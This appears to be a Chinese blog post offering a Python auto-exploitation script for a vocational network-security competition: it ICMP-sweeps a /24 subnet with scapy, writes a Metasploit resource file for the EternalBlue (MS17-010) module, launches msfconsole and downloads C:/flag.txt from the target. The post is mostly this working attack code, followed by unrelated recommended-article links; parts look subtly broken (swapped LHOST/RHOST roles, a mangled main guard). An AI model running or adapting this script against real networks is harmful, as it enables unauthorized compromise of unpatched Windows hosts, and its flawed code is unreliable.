中职网络安全 MSF 漏洞 自动利用脚本 Python C模块

import os

import ipaddress

import queue

import socket

import threading

import random

from scapy.layers.inet import IP,ICMP,sr1

q = queue.Queue()

q2 = queue.Queue()

port = 1000

def get_ip(host):

ip = ipaddress.ip_network(host).hosts()

for i in ip:

q.put(str(i))

def host_Scanner():

while True:

if q.empty():

break

ip = q.get()

a = IP(dst=ip) / ICMP() / bytes(str([random.randint(0,255) for _ in range(10)]),encoding='utf-8')

b = sr1(a,verbose=False,timeout=3)

if b:

q2.put(ip)

def Handler(configFile,lhost,lport,rhost):

configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')

configFile.write('set LPORT ' + str(lport) + '\n')

configFile.write('set LHOST ' + str(lhost) + '\n')

configFile.write('set RHOST ' + str(rhost) + '\n')

configFile.write('exploit\n')

configFile.write('download C:/flag.txt ./' + '\n')

configFile.write('exit\n')

def main():

global port

if q2.empty():

return

configFile = open('ms17_010.rc', 'w')

lhost = q2.get()

lport = str(port)

rhost = '192.168.201.169'

Handler(configFile, lhost, lport, rhost)

configFile.close()

os.system('msfconsole -r ms17_010.rc')

print(f'[+] ip=>{lhost} is open ms17_010')

port += 5

if name == 'main':

file = open('ip.txt','w')

get_ip('192.168.201.0/24')

f = []

for i in range(50):

t = threading.Thread(target=host_Scanner)

t.start()

f.append(t)

for i in f:

i.join()

for i in range(2):

t = threading.Thread(target=main)

t.start()

相关推荐
孟健7 小时前
Karpathy 用 200 行纯 Python 从零实现 GPT:代码逐行解析
python
码路飞9 小时前
写了个 AI 聊天页面,被 5 种流式格式折腾了一整天 😭
javascript·python
曲幽12 小时前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
敏编程16 小时前
一天一个Python库:jsonschema - JSON 数据验证利器
python
前端付豪16 小时前
LangChain记忆:通过Memory记住上次的对话细节
人工智能·python·langchain
databook17 小时前
ManimCE v0.20.1 发布:LaTeX 渲染修复与动画稳定性提升
python·动效
花酒锄作田1 天前
使用 pkgutil 实现动态插件系统
python
cipher1 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
前端付豪1 天前
LangChain链 写一篇完美推文?用SequencialChain链接不同的组件
人工智能·python·langchain
曲幽1 天前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img